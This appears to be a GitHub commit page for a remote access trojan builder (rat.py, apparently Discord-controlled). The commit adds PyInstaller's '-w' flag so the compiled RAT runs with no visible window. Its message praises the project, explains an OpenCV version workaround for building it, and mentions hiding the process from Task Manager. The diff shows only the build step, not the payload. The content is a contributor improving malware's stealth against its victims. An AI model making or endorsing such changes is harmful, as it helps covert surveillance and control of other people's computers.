Skip to content
This repository was archived by the owner on Feb 11, 2025. It is now read-only.

Commit 14e660e

Browse files
authored
Hidden Window For RAT
The RAT opens a window when it is run, making it impractical for general use. My edit simply adds an option to hide the window. Unfortunately, when I was compiling the RAT for myself I ran into a problem where when I ran the final result it would give an error with something along the lines of "ImportError: OpenCV loader: missing configuration file: ['config.py']. Check OpenCV installation." However, I was able to fix this by downgrading opencv to version 4.5.3.56 with "pip install opencv-python==4.5.3.56" This runs the RAT without a window (obviously it will be shown in task manager, there is a solution to that but it is way more advanced.) I really like the work that you've done with this program, and can't wait to see more! (Yes, I really just added 3 characters and think it's good enough for submission XD) All local testing and workarounds made on Windows 10. I have not tested, nor do I plan to, on Linux. From my research, Linux users run into the same problem with PyInstaller on Ubuntu.
1 parent 63aa8ce commit 14e660e

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Additional_File/2_Rat/rat.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1226,7 +1226,7 @@ def shell():
12261226
os.system('cls' if os.name == 'nt' else 'clear')
12271227
print(f'{y}[{b}#{y}]{w} File creation...')
12281228
time.sleep(1)
1229-
os.system(f"pyinstaller -y -F temp/{fileName}.py")
1229+
os.system(f"pyinstaller -y -F -w temp/{fileName}.py")
12301230
os.system('cls' if os.name == 'nt' else 'clear')
12311231
print(f'{y}[{b}#{y}]{w} Cleaning up old files...')
12321232
time.sleep(1)
@@ -1247,4 +1247,4 @@ def shell():
12471247
input(f"{y}[{b}#{y}]{w} Press ENTER to exit")
12481248
main()
12491249

1250-
discordrat()
1250+
discordrat()

0 commit comments

Comments
 (0)